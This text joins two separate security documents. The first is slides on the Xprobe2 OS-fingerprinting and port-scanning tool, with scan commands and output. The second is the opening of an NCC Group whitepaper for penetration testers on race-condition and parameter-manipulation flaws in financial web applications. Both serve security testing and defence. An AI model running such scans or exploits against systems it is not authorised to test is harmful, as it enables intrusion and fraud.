packets will be dropped, but more important, the router/switch might suffer from a denial of service condition  Therefore it is very important to balance the scan rate with the network and network elements abilities O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 36 Inability to Control the Fingerprinting Modules to Be Executed  The intent of the OS fingerprinting attempt is important – If the intent of the scan is malicious, than it might be more beneficial for the malicious attacker to use minimum packets to achieve maximum results – If the reason is not malicious, usually, there is less importance for being stealth, still needing to achieve maximum results. Although we would still like to send minimum packets to probe each targeted system, eliminating the possibility of overwhelming the network and affecting its performance, we can use whatever fingerprinting tests we have for our disposal  One needs to control the fingerprinting tests a certain tool has to offer according to her/his needs  Furthermore, we would like an active OS fingerprinting tool to be able to detect certain scanning conditions and to react, by switching scanning tactics O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 37 Inability to Control the Fingerprinting Modules to Be Used Firewall Probed System R (3) a reply is sent (1) a probe is blocked Prober (2) a different probe is used and is successful O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 38 The Remedy I Added Functionality to Xprobe2 O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 39 The Use of Best of Breed TCP/IP Stack Fingerprinting Techniques  Searched for a TCP-based fingerprinting test with maximum impact on the overall fingerprinting results  A test which will use as much parameters as possible and provide with a real added value  We have decided on adding a TCP module based on the TCP 3-way handshake O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 40 The Use of Best of Breed TCP/IP Stack Fingerprinting Techniques  The parameters with the SYN request resembles the parameters used with a Linux telnet request  Unlike other tools, which use a similar module, Xprobe2 examines parameters found in the IP and TCP layers Prober SYN Target System Prober SYN | ACK Target System Prober RST | ACK Target System O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 41 The Use of Best of Breed TCP/IP Stack Fingerprinting Techniques Xprobe2 TOS TTL DF BIT IP ID OPTIONS OPTIONS order Initial Window Size ACK Value WSCALE Value Timestamp Value O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 42 The Use of Best of Breed TCP/IP Stack Fingerprinting Techniques – Example (without) spanion:~/tmp/xprobe2-demo/src # ./xprobe2 -v -c ../etc/xprobe2.conf -D 8 -p TCP:22:open 192.168.0.203 Xprobe2 v.0.1 Copyright (c) 2002-2003 [email protected], [email protected], [email protected] ... [+] Following modules are loaded: [x][1] ICMP echo (ping) [x][2] TTL distance [x][3] ICMP echo [x][4] ICMP Timestamp [x][5] ICMP Address [x][6] ICMP Info Request [x][7] ICMP port unreach [+] 7 modules registered [+] Initializing scan engine [+] Running scan engine [+] Host: 192.168.0.203 is up (Guess probability: 100%) [+] Target: 192.168.0.203 is alive [+] Primary guess: [+] Host 192.168.0.203 Running OS: "FreeBSD 4.4" (Guess probability: 100%) [+] Other guesses: [+] Host 192.168.0.203 Running OS: "FreeBSD 5.1" (Guess probability: 100%) [+] Host 192.168.0.203 Running OS: "FreeBSD 5.0" (Guess probability: 100%) [+] Host 192.168.0.203 Running OS: "FreeBSD 4.8" (Guess probability: 100%) [+] Host 192.168.0.203 Running OS: "FreeBSD 4.7" (Guess probability: 100%) [+] Host 192.168.0.203 Running OS: "FreeBSD 4.6.2" (Guess probability: 100%) [+] Host 192.168.0.203 Running OS: "FreeBSD 4.6" (Guess probability: 100%) [+] Host 192.168.0.203 Running OS: "FreeBSD 4.5" (Guess probability: 100%) ... O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 43 The Use of Best of Breed TCP/IP Stack Fingerprinting Techniques – Example (with) spanion:~/tmp/xprobe2-demo/src # ./xprobe2 -v -c ../etc/xprobe2.conf -p TCP:22:open 192.168.0.203 Xprobe2 v.0.1 Copyright (c) 2002-2003 [email protected], [email protected], [email protected] ... [+] Following modules are loaded: [x][1] ICMP echo (ping) [x][2] TTL distance [x][3] ICMP echo [x][4] ICMP Timestamp [x][5] ICMP Address [x][6] ICMP Info Request [x][7] ICMP port unreach [x][8] TCP Handshake [+] 8 modules registered [+] Initializing scan engine [+] Running scan engine [+] Host: 192.168.0.203 is up (Guess probability: 100%) [+] Target: 192.168.0.203 is alive [+] Primary guess: [+] Host 192.168.0.203 Running OS: "FreeBSD 4.4" (Guess probability: 100%) [+] Other guesses: [+] Host 192.168.0.203 Running OS: "FreeBSD 4.8" (Guess probability: 96%) [+] Host 192.168.0.203 Running OS: "FreeBSD 4.7" (Guess probability: 96%) [+] Host 192.168.0.203 Running OS: "FreeBSD 5.1" (Guess probability: 93%) [+] Host 192.168.0.203 Running OS: "FreeBSD 5.0" (Guess probability: 93%) O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 44 The Use of Best of Breed TCP/IP Stack Fingerprinting Techniques  Combined with Xprobe2‟s other fingerprinting modules, the TCP handshake module greatly enhance Xprobe2‟s abilities and its overall accuracy O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 45 Adding a Port Scanner  The success of executing some of Xprobe2‟s fingerprinting modules depends on successfully probing an open TCP port and a closed UDP port  Therefore we have implemented a port scanner module as an independent module to Xprobe2  By default Xprobe2 does not tie the port scanner module with its fingerprinting modules and therefore it maintains the minimal usage of packets to discover a targeted system‟s underlying operating system O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 46 Adding a Port Scanner, Usage [root@fremont src]# ./xprobe2 -v -c ../etc/xprobe2.conf -t 1 -s 5 -P –T 20-40,80 x.x.x.x Xprobe2 v.0.1 Copyright (c) 2002-2003 [email protected], [email protected], [email protected] [+] Target is x.x.x.x [+] Loading modules. [+] Following modules are loaded: [x][1] ICMP echo (ping) [x][2] TTL distance [x][3] ICMP echo [x][4] ICMP Timestamp [x][5] ICMP Address [x][6] ICMP Info Request [x][7] ICMP port unreach [x][8] TCP Handshake [x][9] Portscanner [+] 9 modules registered O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 47 [+] Initializing scan engine [+] Running scan engine [+] Host: x.x.x.x is up (Guess probability: 100%) [+] Target: x.x.x.x is alive rtt: 1 [+] Portscan results for x.x.x.x: [+] Stats: [+] TCP: 4 - open, 18 - closed, 0 - filtered [+] UDP: 0 - open, 0 - closed, 0 - filtered [+] Portscan took 0.95 seconds. [+] Details: [+] Proto Port Num. State Serv. Name [+] TCP 21 open ftp [+] TCP 23 open telnet [+] TCP 37 open time [+] TCP 80 open http [+] Other ports are in closed state. [+] Primary guess: [+] Host x.x.x.x Running OS: "HP UX 11.0" (Guess probability: 100%) [+] Other guesses: [+] Host x.x.x.x Running OS: "HP UX 11.0i" (Guess probability: 96%) [+] Host x.x.x.x Running OS: "Sun Solaris 9 (SunOS 2.9)" (Guess probability: 90%) [+] Host x.x.x.x Running OS: "Sun Solaris 6 (SunOS 2.6)" (Guess probability: 87%) [+] Host x.x.x.x Running OS: "Sun Solaris 7 (SunOS 2.7)" (Guess probability: 87%) [+] Host x.x.x.x Running OS: "Sun Solaris 8 (SunOS 2.8)" (Guess probability: 87%) [+] Host x.x.x.x Running OS: "OpenBSD 2.5" (Guess probability: 78%) [+] Host x.x.x.x Running OS: "OpenBSD 2.9" (Guess probability: 78%) [+] Host x.x.x.x Running OS: "NetBSD 1.4" (Guess probability: 78%) [+] Host x.x.x.x Running OS: "NetBSD 1.4.1" (Guess probability: 78%) [+] Cleaning up scan engine [+] Modules deinitialized [+] Execution completed. O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 48 Adding a Port Scanner, Usage  When the port scanner module is used, knowledge about opened TCP ports, and closed UDP ports will be used as parameters for other modules  For example, the port used for the TCP handshake module will be one that was already discovered as opened by the port scanner  The TCP handshake module used TCP port 21 to perform its fingerprints although the “-p” option was not used. The port was discovered as opened by the port scanner O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 49 Adding a Port Scanner, Controlling the Sending Stream  A command line option, “-s”, was added to control the sending stream of the port scanner module  The command line controls the time interval between each SYN packet sent  The value given is represented in milliseconds  Controlling the stream of the port scan is an important feature, allowing one to adjust the paste of the scan, not allowing denial of service conditions to be introduced O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 50 Enhanced Receive Timeout Specifications  There are three receiving timeouts: – Xprobe2 takes use of the ping discovery module in order to calculate the receiving timeout for its fingerprinting modules. The timeout used is the round-trip time of the ICMP echo request and reply times two (RTT*2) measured in miliseconds – In order to allow a proper receive timeout for the ICMP echo discovery module itself, one can use the “-t” command line option and specify the receiving timeout in milliseconds – The port scanner’s receiving timeout is calculated differently:  (number of ports to scan * ((sending delay defined)+10)) + RTT*2))  If the number of received replies equals the number of ports scanned, the port scanner module will time out before the receiving timeout has been reached O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 51 The Ability to Totally Control Modules and Features of Xprobe2 – Module Execution  With the “-D” option one can specify which Xprobe2 modules not to use  With the “-M” option one can specify which Xprobe2 modules to use O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 52 Port Scanner Reach ability I ICMP Echo (ping) Reach ability II TTL Distance ICMP Echo ICMP Timestamp ICMP Address Mask ICMP Information ICMP Port Unreachable TCP Handshake 1 2 9 3 4 5 6 7 8 Module Numbers Modules O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 53 The Ability to Totally Control Modules and Features of Xprobe2 – Module Execution, Example [root@fremont src]# ./xprobe2 -v -c ../etc/xprobe2.conf -D 2 -D 6 -t 1 -s 10 -P -T 21,22,23,25,80 x.x.x.x Xprobe2 v.0.1 Copyright (c) 2002-2003 [email protected], [email protected], [email protected] [+] Target is x.x.x.x [+] Loading modules. [+] Following modules are loaded: [x][1] ICMP echo (ping) [x][2] ICMP echo [x][3] ICMP Timestamp [x][4] ICMP Address [x][5] ICMP port unreach [x][6] TCP Handshake [x][7] Portscanner [+] 7 modules registered [+] Initializing scan engine [+] Running scan engine [+] Host: x.x.x.x is up (Guess probability: 100%) [+] Target: x.x.x.x is alive rtt: 1 [+] Portscan results for x.x.x.x: [+] Stats: [+] TCP: 1 - open, 4 - closed, 0 - filtered [+] UDP: 0 - open, 0 - closed, 0 - filtered [+] Portscan took 0.37 seconds. [+] Details: [+] Proto Port Num. State Serv. Name [+] TCP 80 open http [+] Other ports are in closed state. [+] Primary guess: [+] Host x.x.x.x Running OS: "Microsoft Windows 2000 Server Service Pack 3" (Guess probability: 100%) O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 54 The Ability to Totally Control Modules and Features of Xprobe2 [root@fremont src]# ./xprobe2 -v Xprobe2 v.0.1 Copyright (c) 2002-2003 [email protected], [email protected], [email protected] usage: ./xprobe2 [options] target Options: -v Be verbose -r Show route to target(traceroute) -p <proto:portnum:state> Specify portnumber, protocol and state. Example: tcp:23:open, UDP:53:CLOSED -c <configfile> Specify config file to use. -h Print this help. -o <fname> Use logfile to log everything. -t <time_sec> Set initial receive timeout or roundtrip time. -s <send_delay> Set packsending delay (milseconds). -d <debuglv> Specify debugging level. -D <modnum> Disable module number <modnum>. -m <numofmatches> Specify number of matches to print. -P Enable portscanning module -T <portspec> Specify TCP port(s) to scan. Example: -T21-23,53,110 -U <portspec> Specify UDP port(s) to scan. -f force fixed round-trip time (-t opt). O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 55 Maintaining a Quality Signature Database  Xprobe2‟s signature database is tightly controlled  New signatures will be added to the database if, and only if, we can verify them against a test system we control or have legitimate access to  We see the signature database issue as a mandatory issue for the success of the tool  It is very easy to corrupt a signature database where it would lead to false and inaccurate results O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 56 Maintaining a Quality Signature Database  Xprobe2‟s signature database was re-built from scratch currently containing over 160 signatures – The entire Linux Kernel 2.4.x branch – The entire Linux Kernel 2.2.x branch – FreeBSD 2.2.7, 2.2.8, 3.1, 3.2, 3.3, 3.4, 3.5.1, 4.0, 4.1, 4.2, 4.3, 4.4, 4.5, 4.6, 4.6.2, 4.7, 4.8, 5.0, 5.1 – OpenBSD 2.4, 2.5, 2.6, 2.7, 2.8, 2.9, 3.0, 3.1, 3.2, 3.3 – NetBSD 1.6.1, 1.6, 1.5.3, 1.5.2, 1.5.1, 1.5, 1.4.3, 1.4.2, 1.4.1, 1.4, 1.3.3, 1.3.2, 1.3.1, 1.3 – Microsoft Windows 2003-based Servers (unique ID), Windows XP and its service packs, Windows 2000 based Server (unique for SP3 and SP4) and Workstation and their service packs, NT4 Server and Workstation with the different service packs, ME, 98SE, 98, 95 – Cisco IOS 12.2, 12.0, 11.3, 11.2, 11.1 – And many more… O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 57 Parallel Scanning Support  Support for parallel scanning is being added to Xprobe2 (currently in development)  Xprobe2 will be able to scan class B networks fairly quickly  Since Xprobe2 uses a minimal number of packages per host to discover the host‟s underlying operating system, its overall impact on the network is minimal compared to other active operating system fingerprinting tools O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 58 The Future of Active Operating System Fingerprinting O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 59 The Future of Active Operating System Fingerprinting  Although new and/or existing TCP/IP stack based fingerprinting methods can, and will, be added to existing active operating system fingerprinting tools to create a tool which uses the best of breed active operating system TCP/IP based stack fingerprinting methods, in the not so far future, we would need to start adding other means for actively identifying the underlying operating system of a remote targeted system O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 60 The Future of Active Operating System Fingerprinting  There is a certain limit to the abilities of TCP/IP stack fingerprinting that other methods might provide the remedy to  These other methods might provide with additional insights that cannot be gained using the traditional TCP/IP stack fingerprinting methods O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 61 First fingerprinting test Second fingerprinting test Third fingerprinting test The Future of Active Operating System Fingerprinting O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 62 Using the application layer Link Network Transport Application IP ICMP UDP TCP Banner Grabbing Service Specific HTTP Fingerprinting Enumeration Traditional approach NG approach O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 63 Using the application layer  When an application layer based fingerprinting test is used, other fingerprinting tests which uses the transport and IP layers can be used at the same time based on the information exchanged during the “setup stage” of the application based fingerprinting test  Several methods: – Generic Tests – Application based fingerprinting tests – Application based fingerprinting tests targeting a specific operating system family or a certain group of operating systems O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 64 Banner Grabbing  Obtaining a service banner is usually a simple process, nearly as simple as it takes one to change the banner a certain service is using  Many operating system hardening guides contain instructions on how to change the banner presented with several services  Therefore we should treat service banners with cautious  There are unique cases in which a service banner cannot be altered O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 65 Banner Grabbing 06/21-17:02:09.520598 192.168.0.1:80 -> 192.168.0.3:49429 TCP TTL:64 TOS:0x0 ID:22699 IpLen:20 DgmLen:181 ***A**** Seq: 0xEBC6279 Ack: 0xCD94564E Win: 0x16D0 TcpLen: 20 48 54 54 50 2F 31 2E 30 20 34 30 31 20 41 75 74 HTTP/1.0 401 Aut 68 6F 72 69 7A 61 74 69 6F 6E 20 52 65 71 75 69 horization Requi 72 65 64 0D 0A 57 57 57 2D 41 75 74 68 65 6E 74 red..WWW-Authent 69 63 61 74 65 3A 20 42 61 73 69 63 20 72 65 61 icate: Basic rea 6C 6D 3D 22 44 2D 4C 69 6E 6B 20 44 49 2D 37 31 lm="D-Link DI-71 34 50 2B 22 0D 0A 43 6F 6E 74 65 6E 74 2D 74 79 4P+"..Content-ty 70 65 3A 20 74 65 78 74 2F 68 74 6D 6C 0D 0A 0D pe: text/html... 0A 34 30 31 20 41 75 74 68 6F 72 69 7A 61 74 69 .401 Authorizati 6F 6E 20 52 65 71 75 69 72 65 64 0D 0A on Required..  The difference from other service banners is that the reply we have received from the D-Link 714P+ wireless broadband router cannot be altered by using any of the device‟s configuration interfaces O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 66 Banner Grabbing  When implementing a banner-grabbing module as an active operating system fingerprinting module, different service banners should get different weights in the overall matching process according to the ability and ease of changing them  The over cautious can grant a banner grabbing module implementation with less impact on the overall fingerprinting results than other fingerprinting modules used O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 67 Banner Grabbing  A banner grabbing module is not a magical solution. Like any other fingerprinting module, it suffers from a number of issues such as the inability to clearly identify certain versions of the operating systems, and/or hardware based devices [root@angelfire root]$ telnet x.x.x.x Trying x.x.x.x... Connected to x.x.x.x. Escape character is '^]'. User Access Verification Username: O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 68 Application-based Stack Fingerprinting  Generic Tests – Web Servers (HTTP Fingerprinting) – Any other service which is widely implemented  Group specific – There is a need to use a specific test which would specifically target an operating system family in question, and would provide with the required information to dismantle the group, and to provide a clear and decisive answer about the underlying operating system of the targeted machine O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 69 Application-based Stack Fingerprinting Fingerprinting Process Fingerprinting Process Lunching Application Specific Tests Processing Results O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 70 Xprobe2 v0.2 Live Demo O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 71 Further Reading  Arkin Ofir, “ICMP Usage in Scanning” research project http://www.sys-security.com  Arkin Ofir, “ICMP Usage in Scanning” version 3.0, June 2001 http://www.sys-security.com/html/projects/icmp.html  Arkin Ofir & Fyodor Yarochkin, “X – Remote ICMP based OS fingerprinting Techniques”, August 2001 (This paper describes the first generation of Xprobe). http://www.sys-security.com/archive/papers/X_v1.0.pdf O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 72 Further Reading  Arkin Ofir & Fyodor Yarochkin, “ICMP based remote OS TCP/IP stack fingerprinting techniques”, Phrack Magazine, Volume 11, Issue 57, File 7 of 12, Published August 11, 2001. http://www.sys-security.com/archive/phrack/p57-0x07  Arkin Ofir & Fyodor Yarochkin, “Xprobe2 - A „Fuzzy‟ Approach to Remote Active Operating System Fingerprinting”, http://www.sys- security.com/archive/papers/Xprobe2.pdf, August 2002.  Arkin Ofir, Fyodor Yarochkin, Meder Kydyraliev, “Next Generation Active Operating System Fingerprinting – The Present & Future of Xprobe2”, July 2003. O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 73 Questions?
pdf
© Copyright 2019 NCC Group An NCC Group Publication Common Security Issues in Financially- Oriented Web Applications A guideline for penetration testers Prepared by: Soroush Dalili Version 2.0 NCC Group | Page 2 © Copyright 2019 NCC Group Contents 1 Introduction ...................................................................................................................................... 3 2 Common Vulnerability Classes in Financially-Oriented Web Applications ...................................... 4 2.1 Time-of-Check-Time-of-Use (TOCTOU) and Race Condition Issues .................................... 4 2.1.1 Transferring Money or Points, or Buying Items Simultaneously................................ 4 2.1.2 Changing the Order upon Payment Completion ....................................................... 5 2.1.3 Changing the Order after Payment Completion ........................................................ 6 2.2 Parameter Manipulation ......................................................................................................... 6 2.2.1 Price Manipulation ..................................................................................................... 6 2.2.2 Currency Manipulation ............................................................................................... 6 2.2.3 Quantity Manipulation ................................................................................................ 7 2.2.4 Shipping Address and Post Method Manipulation ..................................................... 7 2.2.5 Additional Costs Manipulation ................................................................................... 7 2.2.6 Response Manipulation ............................................................................................. 7 2.2.7 Repeating an Input Parameter Multiple Times .......................................................... 8 2.2.8 Omitting an Input Parameter or its Value .................................................................. 8 2.2.9 Mass Assignment, Autobinding, or Object Injection .................................................. 8 2.2.10 Monitor the Behaviour while Changing Parameters to Detect Logical Flaws ............ 8 2.3 Replay Attacks (Capture-Replay) ........................................................................................... 9 2.3.1 Replaying the Call-back Request .............................................................................. 9 2.3.2 Replaying an Encrypted Parameter ......................................................................... 10 2.4 Rounding Errors ................................................................................................................... 10 2.4.1 Currency Rounding Issues ...................................................................................... 10 2.4.2 Generic Rounding Issues ........................................................................................ 11 2.5 Numerical Processing ........................................................................................................... 12 2.5.1 Negative Numbers ................................................................................................... 12 2.5.2 Decimal Numbers .................................................................................................... 12 2.5.3 Large or Small Numbers .......................................................................................... 12 2.5.4 Overflows and Underflows ....................................................................................... 12 2.5.5 Zero, Null, or Subnormal Numbers .......................................................................... 12 2.5.6 Exponential Notation ................................................................................................ 13 2.5.7 Reserved Words ...................................................................................................... 13 2.5.8 Numbers in Different Formats ................................................................................. 13 2.6 Card Number-Related Issues ............................................................................................... 15 2.6.1 Showing a Saved Card Number during the Payment Process................................ 15 2.6.2 Card Number Enumeration via Registering Duplicate Cards .................................. 15 2.7 Dynamic Prices, Prices with Tolerance, or Referral Schemes ............................................. 15 2.8 Discount Codes, Vouchers, Offers, Reward Points, and Gift Cards .................................... 16 2.8.1 Enumeration and Guessing ..................................................................................... 16 2.8.2 Vouchers and Offers Stacking ................................................................................. 16 2.8.3 Earning More Points or Cash Return than the Price when Buying an Item ............ 16 2.8.4 Using Expired, Invalid, or Other Users’ Codes ........................................................ 16 2.8.5 State and Basket Manipulation ................................................................................ 16 2.8.6 Refund Abuse .......................................................................................................... 17 2.8.7 Buy-X-Get-Y-Free .................................................................................................... 17 2.8.8 Ordering Out of Stock or Unreleased Items ............................................................ 17 2.8.9 Bypassing Other Restrictions .................................................................................. 17 2.8.10 Point Transfer .......................................................................................................... 18 2.9 Cryptography Issues ............................................................................................................. 18 2.10 Downloadable and Virtual Goods ......................................................................................... 18 2.11 Hidden and Insecure Backend APIs ..................................................................................... 18 2.12 Using Test Data in Production Environment ........................................................................ 19 2.13 Currency Arbitrage in Deposit/Buy and Withdrawal/Refund ................................................ 19 3 Conclusions ................................................................................................................................... 21 4 References and Further Reading .................................................................................................. 23 NCC Group | Page 3 © Copyright 2019 NCC Group 1 Introduction Today it is often hard to find individuals who have not purchased something online or used online financial services. Online services offer ease of use and provide other value-add properties such as loyalty card schemes to attract and retain customers, thus ensuring market competiveness. Creating new online commercial services is imperative for most organisations, but has to be done in a safe and secure manner to meet client, regulatory, and legal expectations. E-commerce applications, due to the value of the products and services they offer, are valuable targets for threat actors who are looking for financial gain or wish to damage a company’s brand or reputation. This document summarises NCC Group’s experience of assessing e-commerce and financial services applications, providing a checklist of common security issues seen in financial services web applications. Security assessments of e-commerce applications and financial services require specific security- minded test cases to be developed. These tests have to cover logical security issues or rare vulnerabilities that are usually not found through conventional security penetration or functional testing. Vulnerabilities such as price manipulation, buying items at a reduced price or even for free, or earning free money are the most interesting; however, these vulnerabilities don’t represent all possible attacks. Unfortunately, many application-specific e-commerce security issues cannot be identified by static or dynamic automated security scanners, or even in a manual source code review, if the reviewer does not have a complete understanding of the application rules, business logic and processes, and threat scenarios. In NCC Group’s experience, one of the best ways to identify the business logic and application-specific security issues early in the development lifecycle is to write down all the rules (do’s and don’ts) both for the business processes and the supporting software and systems. These rules can then be used to create a threat model. Specific security-focused test cases, scenarios, or checklists can then be designed based on this threat model, and used to identify vulnerabilities and verify the correctness of the implementation. Security-focused code reviewers and penetration testers benefit from these documents, as they provide information about the expected behaviour of the system and the thought patterns that guided its design. Automated security scanners (especially static analysis tools) can also have their performance improved, by defining new rules to detect specific issues once a detection pattern has been developed. This whitepaper discusses the commonly-seen security issues that NCC Group has found over the last fifteen years of performing security assessments of real e-commerce and financial service web applications. The resulting checklist can be used as an additional tool for penetration testers when assessing e-commerce applications. NCC Group | Page 4 © Copyright 2019 NCC Group 2 Common Vulnerability Classes in Financially-Oriented Web Applications In this section we introduce you to the vulnerability classes, providing an overview of each and examples of how to test for their presence. We have omitted generic web application issues, such as those involving authentication, authorisation, and input validation; instead the issues discussed in the following sections are those that have specific relevance to financially-oriented web applications. Where possible we have mapped these into the categories used in the Common Weakness Enumeration. [10] 2.1 Time-of-Check-Time-of-Use (TOCTOU) and Race Condition Issues CWE: 367 and 557 TOCTOU is a software bug that occurs when an application checks the state of a resource before using it, but the resource's state changes between the check and the use in a way that invalidates or changes the results of the check. Time and order sequence are crucial to correct financial software operations. Many financial transactions rely on checking balances and values (sometimes in real time) before processing. If there is latency, delay, or opportunity to modify values between these checks, or if resource coordination is not properly implemented around multi-threaded solutions, then there may be scope for manipulating application logic, perhaps for financial gain. 2.1.1 Transferring Money or Points, or Buying Items Simultaneously This is a common flaw within e-commerce applications that keep users’ balances and allow money transfer or simultaneous purchases. Consider the following example, commonly seen by NCC Group [1]. A user is authenticated to a financial application from two different devices. A transaction is performed seeking to transfer money from bank account number 1019 to bank account number 9823 for the amount of £100. Suppose the server-side code is as follows, and that the user’s account balance is £100: 1: if (amount <= account_balance) { 2: account_balance = account_balance – amount 3: } Figure 1: Using concurrent sessions to exploit a race condition issue If the transfer request can be fired twice into the web application at the same time, there is the potential that line 1 in the code to be executed twice before line 2 is executed. If this occurs, then the first check that £100 is <= £100 holds true twice, and so when the if statement block executes, the account_balance value is decremented by £100 twice, meaning that the user has been able to transfer more money than allowed (as dictated by the if statement in the source code). This problem can be exploited by writing a simple piece of multithreaded code that uses multiple valid sessions for the same user (for example by simulating concurrent logins on multiple devices). In some cases, it is even possible to exploit it using the same session when they can be processed by the application at the same time. The implications of this could be severe, depending on the nature of the NCC Group | Page 5 © Copyright 2019 NCC Group application, as it opens up the potential for theft or use of unauthorised amounts of money, and provides a potential mechanism for fraud and other laundering activities. This issue can be found in many financial applications, such as a banking application that allows money transfer between multiple accounts, a shopping website in which a user can buy multiple items at the same time, or a commercial website that allows its users to earn and transfer their reward points. Some applications may even prevent a user from having a negative value in their account by replacing negative values with 0. If the application in the above example had this feature, the user could potentially gain £100. Concurrency issues may also affect discount voucher codes which can only be used once or twice. As a result, it might be possible to use a one-time promotion code multiple times by exploiting this issue. 2.1.2 Changing the Order upon Payment Completion Applications that allow users to change their order while paying for an item can also be vulnerable when there is no verification at the end of the process. Although race conditions in changing the shopping basket while payment is being processed seem a little tricky, often there is no need for this, especially if the payment page is not part of the application but is a third-party website or an external module. In this case, the order can be changed while the user is on the payment page and before clicking the “pay” button to complete the payment. Changing items in the basket, shipping method and posting address, quantity of items and so forth can affect the final price while the application still uses the initial cheaper price. The following case shows an example of this vulnerability which was seen in a production website: A cheap item was selected and added to the basket. The user then went to the checkout page to pay for the selected item. At this stage, without closing the payment page, the user opened the main website in a new browser tab (to use the same session token) and added other and more expensive items to the basket. After doing this, the user went to the initial checkout page, which was open in the previous browser 